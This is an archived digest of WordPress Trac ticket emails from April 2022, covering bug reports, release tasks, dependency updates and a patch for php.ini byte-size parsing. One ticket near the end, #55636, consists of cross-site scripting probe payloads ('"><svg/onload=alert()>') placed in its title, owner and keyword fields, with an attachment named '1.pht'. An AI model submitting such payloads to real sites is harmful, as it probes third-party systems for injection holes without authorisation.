--------------------------------------------------+----------------------- Changes (by SergeyBiryukov): * Attachment "54795.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54795> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 16:36:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 16:36:50 -0000 Subject: [wp-trac] [WordPress Trac] #54795: Bootstrap: Move navigation post type hooks to `admin-filters.php` In-Reply-To: <047.3037a2798a4e649c49aff9a105ba0546@wordpress.org> References: <047.3037a2798a4e649c49aff9a105ba0546@wordpress.org> Message-ID: <062.3418c38faee04e2d968c6084f4798d5c@wordpress.org> #54795: Bootstrap: Move navigation post type hooks to `admin-filters.php` --------------------------------------------------+----------------------- Reporter: dlh | Owner: audrasjb Type: defect (bug) | Status: reopened Priority: normal | Milestone: 6.0 Component: Bootstrap/Load | Version: Severity: normal | Resolution: Keywords: has-patch commit assigned-for-commit | Focuses: --------------------------------------------------+----------------------- Changes (by SergeyBiryukov): * status: closed => reopened * resolution: fixed => Comment: I think there are a few more calls that can be safely moved for consistency, see [attachment:"54795.diff"]. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54795#comment:14> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 16:40:09 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 16:40:09 -0000 Subject: [wp-trac] [WordPress Trac] #55631: Could not instantiate mail function. Message-ID: <058.bcc3f3e97b530113a214e24d20f4f223@wordpress.org> #55631: Could not instantiate mail function. ----------------------------+----------------------------- Reporter: kanhaiya122108 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Mail | Version: 5.9.3 Severity: normal | Keywords: Focuses: | ----------------------------+----------------------------- Recently I'm getting the following error. {{{ WP_Error Object ( [errors] => Array ( [wp_mail_failed] => Array ( [0] => Could not instantiate mail function. ) ) [error_data] => Array ( [wp_mail_failed] => Array ( [to] => Array ( [0] => testgmail at gmail.com ) [subject] => The subject [message] => The email body content [headers] => Array ( ) [attachments] => Array ( ) [phpmailer_exception_code] => 2 ) ) [additional_data:protected] => Array ( ) ) }}} I have changed the 'To' email for example above. I also check with hosting and they have mail() enable. waiting for response. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55631> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 16:58:09 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 16:58:09 -0000 Subject: [wp-trac] [WordPress Trac] #55628: Numerous console errors on Theme/Plugin File Editor screens and syntax highlighting not working In-Reply-To: <050.e7b7bf158f8902347544453b0fdcb00f@wordpress.org> References: <050.e7b7bf158f8902347544453b0fdcb00f@wordpress.org> Message-ID: <065.25cfbe3e22779cf06eb75b5729f5cbf9@wordpress.org> #55628: Numerous console errors on Theme/Plugin File Editor screens and syntax highlighting not working --------------------------+------------------------------ Reporter: ndiego | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Resolution: Keywords: | Focuses: javascript --------------------------+------------------------------ Comment (by ndiego): I just discovered, this issue is also impacting the JavaScript on the Add New User screen and prevents you from adding new users. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55628#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 17:02:07 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 17:02:07 -0000 Subject: [wp-trac] [WordPress Trac] #55632: WordPress database error when running PHPUnit tests Message-ID: <050.40bf5c2b8b4c1561bdb094b52daf6d07@wordpress.org> #55632: WordPress database error when running PHPUnit tests --------------------------+----------------------------- Reporter: Chouby | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: trunk Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- When running PHPUnit tests, a database error is reported before the first test is run {{{ WordPress database error Table 'wordpress_develop_tests.wptests_posts' doesn't exist for query SELECT wptests_posts.ID FROM wptests_posts WHERE 1=1 AND ( 0 = 1 ) AND wptests_posts.post_type = 'wp_global_styles' AND ((wptests_posts.post_status = 'publish')) GROUP BY wptests_posts.ID ORDER BY wptests_posts.post_date DESC <div id="error"><p class="wpdberror"><strong>WordPress database error:</strong> [Table 'wordpress_develop_tests.wptests_posts' doesn't exist]<br /><code> SELECT wptests_posts.ID FROM wptests_posts LIMIT 0, 1 WHERE 1=1 AND ( made by require_once('wp-settings.php'), do_action('wp_loaded'), WP_Hook->do_action, WP_Hook->apply_filters, {closure}, {closure}, WP_Theme_JSON_Resolver::get_merged_data, WP_Theme_JSON_Resolver::get_user_data, WP_Theme_JSON_Resolver::get_user_data_from_wp_global_styles, wp_get_recent_posts, get_posts, WP_Query->query, WP_Query->get_posts 0 = 1 ) AND wptests_posts.post_type = 'wp_global_styles' AND ((wptests_posts.post_status = 'publish')) GROUP BY wptests_posts.ID ORDER BY wptests_posts.post_date DESC LIMIT 0, 1 </code></p></div> }}} See for example: https://github.com/WordPress/wordpress- develop/runs/6195555843?check_suite_focus=true -- Ticket URL: <https://core.trac.wordpress.org/ticket/55632> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 17:08:45 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 17:08:45 -0000 Subject: [wp-trac] [WordPress Trac] #55632: WordPress database error when running PHPUnit tests In-Reply-To: <050.40bf5c2b8b4c1561bdb094b52daf6d07@wordpress.org> References: <050.40bf5c2b8b4c1561bdb094b52daf6d07@wordpress.org> Message-ID: <065.f826b2c5526a0fda2bada5dd8dfe1666@wordpress.org> #55632: WordPress database error when running PHPUnit tests --------------------------+------------------------------ Reporter: Chouby | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: trunk Severity: normal | Resolution: Keywords: | Focuses: --------------------------+------------------------------ Comment (by Chouby): This is the first commit firing the error: https://github.com/WordPress /wordpress-develop/commit/02414638ce37bb4a58fad2491151fb2fcf4a4e73 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55632#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 17:12:13 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 17:12:13 -0000 Subject: [wp-trac] [WordPress Trac] #55434: About Page for 6.0 Release In-Reply-To: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> References: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> Message-ID: <069.884e6ea66496dccbcf7fe5c3517479c9@wordpress.org> #55434: About Page for 6.0 Release -------------------------------------+------------------------------------- Reporter: webcommsat | Owner: marybaum Type: task (blessed) | Status: assigned Priority: high | Milestone: 6.0 Component: Help/About | Version: Severity: normal | Resolution: Keywords: needs-message-strategy | Focuses: ui, docs, needs-design | administration, ui-copy -------------------------------------+------------------------------------- Comment (by ryelle): Hi folks! What's the status of the About page copy? We need to have this committed by next Tuesday for RC1, so if the copy is ready (or at least 90% there) I can put up a patch. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55434#comment:19> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 17:19:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 17:19:52 -0000 Subject: [wp-trac] [WordPress Trac] #54727: Update/Audit NPM Dependencies for 6.0 In-Reply-To: <058.65839f011c0f2b1f2f450912704ec2e3@wordpress.org> References: <058.65839f011c0f2b1f2f450912704ec2e3@wordpress.org> Message-ID: <073.346b6f3055914b0c4923913873fdb2df@wordpress.org> #54727: Update/Audit NPM Dependencies for 6.0 ------------------------------+---------------------- Reporter: hellofromTonya | Owner: desrosj Type: task (blessed) | Status: closed Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: fixed Keywords: has-patch | Focuses: ------------------------------+---------------------- Changes (by desrosj): * owner: (none) => desrosj * status: new => closed * resolution: => fixed Comment: In [changeset:"53297" 53297]: {{{ #!CommitTicketReference repository="" revision="53297" Build/Test Tools: Update the NPM dependencies to the latest versions. This updates the following development dependencies: - `@wordpress/scripts` from `22.4.2` to `22.5.0`. - `chalk` from `4.1.2` to `5.0.1`. - `grunt` from `1.4.1` to `1.5.2`. - `grunt-contrib-clean` from ``2.0.0` to `2.0.1`. - `grunt-contrib-uglify` from `5.1.0` to `5.2.1`. - `qunit` from `2.18.1` to `2.18.2`. - `sass` from `1.50.0` to `1.51.0`. - `sinon` from `13.0.1` to `13.0.2`. - `uglify-js` from `3.15.3` to `3.15.4`. Fixes #54727. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54727#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 17:34:43 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 17:34:43 -0000 Subject: [wp-trac] [WordPress Trac] #55628: Numerous console errors on Theme/Plugin File Editor screens and syntax highlighting not working In-Reply-To: <050.e7b7bf158f8902347544453b0fdcb00f@wordpress.org> References: <050.e7b7bf158f8902347544453b0fdcb00f@wordpress.org> Message-ID: <065.0bac9a8baf97d33839a1110c35bb7d4d@wordpress.org> #55628: Numerous console errors on Theme/Plugin File Editor screens and syntax highlighting not working --------------------------+------------------------- Reporter: ndiego | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: | Focuses: javascript --------------------------+------------------------- Changes (by SergeyBiryukov): * milestone: Awaiting Review => 6.0 Comment: Hi there, welcome back to WordPress Trac! Thanks for the ticket, moving to the milestone for visibility. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55628#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 17:41:40 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 17:41:40 -0000 Subject: [wp-trac] [WordPress Trac] #55632: WordPress database error when running PHPUnit tests In-Reply-To: <050.40bf5c2b8b4c1561bdb094b52daf6d07@wordpress.org> References: <050.40bf5c2b8b4c1561bdb094b52daf6d07@wordpress.org> Message-ID: <065.1264ea4e18cc0317f08b10ad10eabd1d@wordpress.org> #55632: WordPress database error when running PHPUnit tests --------------------------+--------------------- Reporter: Chouby | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: trunk Severity: normal | Resolution: Keywords: | Focuses: --------------------------+--------------------- Changes (by SergeyBiryukov): * milestone: Awaiting Review => 6.0 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55632#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 17:42:15 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 17:42:15 -0000 Subject: [wp-trac] [WordPress Trac] #55632: WordPress database error when running PHPUnit tests In-Reply-To: <050.40bf5c2b8b4c1561bdb094b52daf6d07@wordpress.org> References: <050.40bf5c2b8b4c1561bdb094b52daf6d07@wordpress.org> Message-ID: <065.38d4a3eb98d6ba1dad2df2a33c54cb88@wordpress.org> #55632: WordPress database error when running PHPUnit tests ---------------------------------------+--------------------- Reporter: Chouby | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: trunk Severity: normal | Resolution: Keywords: needs-patch needs-testing | Focuses: ---------------------------------------+--------------------- Changes (by costdev): * keywords: => needs-patch needs-testing * component: General => Build/Test Tools Comment: Hi @Chouby, I'll check this out when I'm back at my PC later today. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55632#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 17:45:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 17:45:02 -0000 Subject: [wp-trac] [WordPress Trac] #55633: First sitemap has more URLs than expected with sticky posts Message-ID: <050.4583ee216dbc1416fbb31b0c57cfd0ac@wordpress.org> #55633: First sitemap has more URLs than expected with sticky posts --------------------------+----------------------------- Reporter: RavanH | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Sitemaps | Version: 5.9.3 Severity: minor | Keywords: Focuses: | --------------------------+----------------------------- When a site has $x sticky posts, and more posts than $max_urls (2000 by default) then the first posts sitemap will have $max_urls + $x URLs. Not a big issue unless there are a huge number of sticky posts and the site is running on a relatively low resource server... Still, an unexpected sitemap size and it is easily fixed by setting ignore_sticky_posts :) {{{#!php <?php function wpsm_posts_query_args( $args ) { // Ignore stickyness. $args['ignore_sticky_posts'] = true; return $args; } add_filter( 'wp_sitemaps_posts_query_args', 'wpsm_posts_query_args' ); }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55633> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 17:49:53 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 17:49:53 -0000 Subject: [wp-trac] [WordPress Trac] #55434: About Page for 6.0 Release In-Reply-To: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> References: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> Message-ID: <069.99272cb9defe3e57b3b520b160f79d95@wordpress.org> #55434: About Page for 6.0 Release -------------------------------------+------------------------------------- Reporter: webcommsat | Owner: marybaum Type: task (blessed) | Status: assigned Priority: high | Milestone: 6.0 Component: Help/About | Version: Severity: normal | Resolution: Keywords: needs-message-strategy | Focuses: ui, docs, needs-design | administration, ui-copy -------------------------------------+------------------------------------- Comment (by dansoschin): I'd like to get the copy in final draft form by Thursday end of day (April 28th). I'm out on Friday and others can continue to work on refining the copy... but by Monday, May 2nd, I think it should be good to go. As I write this, I think we're at the 95% point. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55434#comment:20> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 18:02:16 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 18:02:16 -0000 Subject: [wp-trac] [WordPress Trac] #55532: Update the Dashboard welcome banner for 6.0 In-Reply-To: <056.f96888ce3cb506375c29727e3d5ee25a@wordpress.org> References: <056.f96888ce3cb506375c29727e3d5ee25a@wordpress.org> Message-ID: <071.33cb97b857f13d3710284ea1efe1b092@wordpress.org> #55532: Update the Dashboard welcome banner for 6.0 ----------------------------+----------------------------- Reporter: critterverse | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: | Focuses: administration ----------------------------+----------------------------- Changes (by ryelle): * Attachment "60-dashboard.png" added. First pass of about page styles on dashboard widget -- Ticket URL: <https://core.trac.wordpress.org/ticket/55532> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 18:02:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 18:02:52 -0000 Subject: [wp-trac] [WordPress Trac] #55532: Update the Dashboard welcome banner for 6.0 In-Reply-To: <056.f96888ce3cb506375c29727e3d5ee25a@wordpress.org> References: <056.f96888ce3cb506375c29727e3d5ee25a@wordpress.org> Message-ID: <071.4320f2eff2d0edaea6a437b6252154f0@wordpress.org> #55532: Update the Dashboard welcome banner for 6.0 ----------------------------+----------------------------- Reporter: critterverse | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: | Focuses: administration ----------------------------+----------------------------- Comment (by ryelle): @critterverse Are there any content changes being proposed here? I took a swing at replacing the style with the About page style, you can see it in [attachment:"60-dashboard.png"] — does that line up with what you were thinking? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55532#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 18:08:05 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 18:08:05 -0000 Subject: [wp-trac] [WordPress Trac] #55633: First sitemap has more URLs than expected with sticky posts In-Reply-To: <050.4583ee216dbc1416fbb31b0c57cfd0ac@wordpress.org> References: <050.4583ee216dbc1416fbb31b0c57cfd0ac@wordpress.org> Message-ID: <065.35d5a3ca67971d61de2fcc1e0ca38e04@wordpress.org> #55633: First sitemap has more URLs than expected with sticky posts --------------------------+------------------------------ Reporter: RavanH | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Sitemaps | Version: 5.5 Severity: minor | Resolution: Keywords: | Focuses: --------------------------+------------------------------ Changes (by pbiron): * version: 5.9.3 => 5.5 Comment: Thanx for the ticket. I'll have to think about this a little more, but on first thought it seems to make sense to add `'ignore_sticky_posts' => true` to the default args passed to `wp_sitemaps_posts_query_args`. @swissspidy do you have thoughts on this? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55633#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 18:21:57 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 18:21:57 -0000 Subject: [wp-trac] [WordPress Trac] #55634: Editor: Update build_comment_query_vars_from_block to handle unapproved comments Message-ID: <052.2f74665a7c014d0c78560671f0f28c03@wordpress.org> #55634: Editor: Update build_comment_query_vars_from_block to handle unapproved comments -------------------------+----------------------------- Reporter: darerodz | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: Severity: normal | Keywords: Focuses: | -------------------------+----------------------------- The `build_comment_query_vars_from_block` function has been updated recently in Gutenberg (see https://github.com/WordPress/gutenberg/pull/40612), where we solved a problem with comment previews not being rendered. Some PHP unit tests related to that function are failing there because that function is already defined in WordPress 6.0, so, in order to make those tests work, we have to backport first the changes in that function into WordPress, as explained in https://github.com/WordPress/gutenberg/pull/40612#issuecomment-1110107499. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55634> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 18:32:09 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 18:32:09 -0000 Subject: [wp-trac] [WordPress Trac] #55532: Update the Dashboard welcome banner for 6.0 In-Reply-To: <056.f96888ce3cb506375c29727e3d5ee25a@wordpress.org> References: <056.f96888ce3cb506375c29727e3d5ee25a@wordpress.org> Message-ID: <071.e5b350cd0078963acdd014f5f5a8b9e0@wordpress.org> #55532: Update the Dashboard welcome banner for 6.0 ----------------------------+----------------------------- Reporter: critterverse | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: | Focuses: administration ----------------------------+----------------------------- Comment (by critterverse): Awesome, thanks for kicking this off @ryelle! This is definitely close to what we have in mind for the design but @fcoveram is planning to take a look at how the admin scheme color-coding can work with the new artwork. We're hoping to share an update on the [https://wordpress.slack.com/archives/C02S78ZAL/p1651083278329079 About page design/images] this week and can should be able to share an update here soon after. I don't think any content changes will be needed. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55532#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 18:51:48 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 18:51:48 -0000 Subject: [wp-trac] [WordPress Trac] #55532: Update the Dashboard welcome banner for 6.0 In-Reply-To: <056.f96888ce3cb506375c29727e3d5ee25a@wordpress.org> References: <056.f96888ce3cb506375c29727e3d5ee25a@wordpress.org> Message-ID: <071.b9e77a70c9a3825c7e62494fe53240d0@wordpress.org> #55532: Update the Dashboard welcome banner for 6.0 ----------------------------+----------------------------- Reporter: critterverse | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: | Focuses: administration ----------------------------+----------------------------- Comment (by ryelle): Sounds great. It would be nice to get a first iteration committed by RC1 (next week), so we can get the most feedback possible, but since there won't be content changes we don't need to be tied to that deadline. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55532#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 19:43:27 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 19:43:27 -0000 Subject: [wp-trac] [WordPress Trac] #54477: wp-cli vague: "Warning: Could not create directory." In-Reply-To: <052.a28934f7fb8bd1877b06f8203559a20c@wordpress.org> References: <052.a28934f7fb8bd1877b06f8203559a20c@wordpress.org> Message-ID: <067.8ae95723bcbc2b97a87fa83d6db23a12@wordpress.org> #54477: wp-cli vague: "Warning: Could not create directory." ----------------------------------------------------+--------------------- Reporter: gunterer | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: 5.8 Severity: minor | Resolution: Keywords: good-first-bug has-patch needs-testing | Focuses: ----------------------------------------------------+--------------------- Changes (by SergeyBiryukov): * keywords: good-first-bug has-patch => good-first-bug has-patch needs- testing -- Ticket URL: <https://core.trac.wordpress.org/ticket/54477#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 21:43:16 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 21:43:16 -0000 Subject: [wp-trac] [WordPress Trac] #55635: wp_convert_hr_to_bytes() report correct byte sizes for php.ini "shorthand" values Message-ID: <051.0e86b39c715e63b6336d3ec6eab7e6cf@wordpress.org> #55635: wp_convert_hr_to_bytes() report correct byte sizes for php.ini "shorthand" values -------------------------+------------------------------------------------- Reporter: dmsnell | Owner: (none) Type: defect | Status: new (bug) | Priority: normal | Milestone: Awaiting Review Component: Upload | Version: Severity: normal | Keywords: needs-unit-tests has-patch dev- Focuses: | feedback -------------------------+------------------------------------------------- Resolves #17725 When `wp_convert_hr_to_bytes()` was introduced in [https://core.trac.wordpress.org/changeset/4388/ 4388] it provided a simplified mechanism to parse the values returned by functions like `ini_get()` which represent byte sizes. The over-simplified approach has led to issues in that function reporting the wrong byte sizes for various php.ini directives, leading to confusing problems such as uploading files that are rejected improperly or accepted improperly. In this patch we're porting the parser from PHP's own source (which has remained stable for decades and probably can't change without major breakage) in order to more accurately reflect the values it uses when it reads those configurations. Unfortunately PHP doesn't offer a mechanism to read its own internal value for these fields and a 100% port is extremely cumbersome (at best) due to the different ways that PHP and C handle signed integer overflow. These differences should only appear when supplying discouraged/invalid values to the system anyway, and PHP warns that in these situations things are likely to break anyway. Over the years this function has been modified a couple of times in ways that this patch reverts: - [https://core.trac.wordpress.org/changeset/38013 38013] introduced a `PHP_INT_MAX` limit in a way that coerces hexadecimal and octal integer representations to decimal. - [https://core.trac.wordpress.org/changeset/35325 35325] replaced the hard-coded byte size with overwritable constants but if there were any occasion for someone to change those constants in `wp-config.php` then we would actually want to preserve the hard-coded values in `wp_convert_hr_to_bytes()` since that function refers to code inside of PHP, not inside of WordPress. - The original code from [https://core.trac.wordpress.org/changeset/4388/ 4388] looks for the presence of the suffixes //anywhere// within the value string and prioritizes `g` over `m` over `k` whereas PHP only looks at the last character in the input string (this is something that [https://core.trac.wordpress.org/attachment/ticket/17725/17725.3.diff 17725.3.diff] got right). This can cause unexpected parses, such as with `14gmk` when WordPress interprets it as 14GiB but PHP interprets it as 14KiB. Further we do acknowledge the mismatch between PHP's definition of "gigabyte"/"megabyte"/"kilobyte" being factors of 1024 apart from each other and the standard of being 1000. WordPress follows PHP's convention so this is simply noted in the function and preserved. This patch introduces new behaviors which might seem unexpected or wrong. It's important to consider that this function exists because PHP doesn't expose the values it parses from the php.ini directives. Therefore it's job in WordPress can be considered to do as best as it can to represent what's really happening inside of PHP; this may not match our intuition about what PHP should be doing. To that end the over-simplified code for the past 16 years has misreported many plausible-looking values like `100MB` (which PHP interprets as 100 bytes but WordPress thinks is 100 MiB). **Testing** In order to fully verify the updated code we have to understand PHP's interpretation of the php.ini directive values. One way to do this is to set a value, `upload_max_size` for instance, in any number of the possible configurable places and then make repeated uploads to see if it's rightfully accepted or rejected. This is cumbersome. An alternative approach is to compile PHP locally with added instrumentation; this is the approach taken in preparing this PR. The following patch will report three values every time a "Long" value is parsed from a php.ini directive: the shorthand value being parsed, the bound `long` value before applying the magnitude suffix, and the possibly- overflowed value derived from applying the possible `g`, `m`, and `k` suffixes. {{{#!diff diff --git a/Zend/zend_operators.c b/Zend/zend_operators.c index 8a0cc813..362cef76 100644 --- a/Zend/zend_operators.c +++ b/Zend/zend_operators.c @@ -164,6 +164,9 @@ ZEND_API zend_long ZEND_FASTCALL zend_atol(const char *str, size_t str_len) /* { break; } } + + printf("zend_atol( \"%s\" ) = %lld : %lld\n", str, ZEND_STRTOL(str, NULL, 0), retval); + return (zend_long) retval; } /* }}} */ }}} For example, a sampling of values run through PHP produces this output. {{{#!bash zend_atol( "0" ) = 0 : 0 zend_atol( "0g" ) = 0 : 0 zend_atol( "1g" ) = 1 : 1073741824 zend_atol( "3G" ) = 3 : 3221225472 zend_atol( "3mg" ) = 3 : 3221225472 zend_atol( "3km" ) = 3 : 3145728 zend_atol( "boat" ) = 0 : 0 zend_atol( "-14k" ) = -14 : -14336 zend_atol( "-14chairsg" ) = -14 : -15032385536 zend_atol( "9223372036854775807" ) = 9223372036854775807 : 9223372036854775807 zend_atol( "9223372036854775807g" ) = 9223372036854775807 : -1073741824 zend_atol( "9223372036854775808" ) = 9223372036854775807 : 9223372036854775807 zend_atol( "0xt" ) = 0 : 0 zend_atol( "0x5teak_and_egg" ) = 5 : 5368709120 }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55635> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 21:44:03 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 21:44:03 -0000 Subject: [wp-trac] [WordPress Trac] #55635: wp_convert_hr_to_bytes() report correct byte sizes for php.ini "shorthand" values In-Reply-To: <051.0e86b39c715e63b6336d3ec6eab7e6cf@wordpress.org> References: <051.0e86b39c715e63b6336d3ec6eab7e6cf@wordpress.org> Message-ID: <066.18883bb8414d0544c8dbcdafbc5a4a58@wordpress.org> #55635: wp_convert_hr_to_bytes() report correct byte sizes for php.ini "shorthand" values -------------------------------------------------+------------------------- Reporter: dmsnell | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting | Review Component: Upload | Version: Severity: normal | Resolution: Keywords: needs-unit-tests has-patch dev- | Focuses: feedback | -------------------------------------------------+------------------------- Changes (by dmsnell): * Attachment "55635.diff" added. Refactors wp_convert_hr_to_bytes() to accurately report values parsed internally in PHP. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55635> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 22:26:01 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 22:26:01 -0000 Subject: [wp-trac] [WordPress Trac] #55434: About Page for 6.0 Release In-Reply-To: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> References: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> Message-ID: <069.7512cc7acfd455f69f420681abb58b7f@wordpress.org> #55434: About Page for 6.0 Release -------------------------------------+------------------------------------- Reporter: webcommsat | Owner: marybaum Type: task (blessed) | Status: assigned Priority: high | Milestone: 6.0 Component: Help/About | Version: Severity: normal | Resolution: Keywords: needs-message-strategy | Focuses: ui, docs, needs-design | administration, ui-copy -------------------------------------+------------------------------------- Comment (by webcommsat): Added some comments and will cross-check more on features over the next few days. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55434#comment:21> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 22:49:10 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 22:49:10 -0000 Subject: [wp-trac] [WordPress Trac] #55636: "><svg/onload=alert()> Message-ID: <057.3e0377ff749ee946eb4c252a79b12f05@wordpress.org> #55636: "><svg/onload=alert()> ---------------------------+--------------------------------------- Reporter: zzzzlukman445 | Owner: "><svg/onload=alert()> Type: enhancement | Status: assigned Priority: normal | Milestone: Awaiting Review Component: Bundled Theme | Version: trunk Severity: normal | Keywords: "><svg onload=confirm(1)> Focuses: | ---------------------------+--------------------------------------- "><svg/onload=alert()> -- Ticket URL: <https://core.trac.wordpress.org/ticket/55636> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 22:49:22 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 22:49:22 -0000 Subject: [wp-trac] [WordPress Trac] #55636: "><svg/onload=alert()> In-Reply-To: <057.3e0377ff749ee946eb4c252a79b12f05@wordpress.org> References: <057.3e0377ff749ee946eb4c252a79b12f05@wordpress.org> Message-ID: <072.bfcdcac177516fc188e220b8f9923bd9@wordpress.org> #55636: "><svg/onload=alert()> ---------------------------------------+----------------------------------- Reporter: zzzzlukman445 | Owner: | "><svg/onload=alert()> Type: enhancement | Status: assigned Priority: normal | Milestone: Awaiting Review Component: Bundled Theme | Version: trunk Severity: normal | Resolution: Keywords: "><svg onload=confirm(1)> | Focuses: ---------------------------------------+----------------------------------- Changes (by zzzzlukman445): * Attachment "1.pht" added. -- Ticket URL: 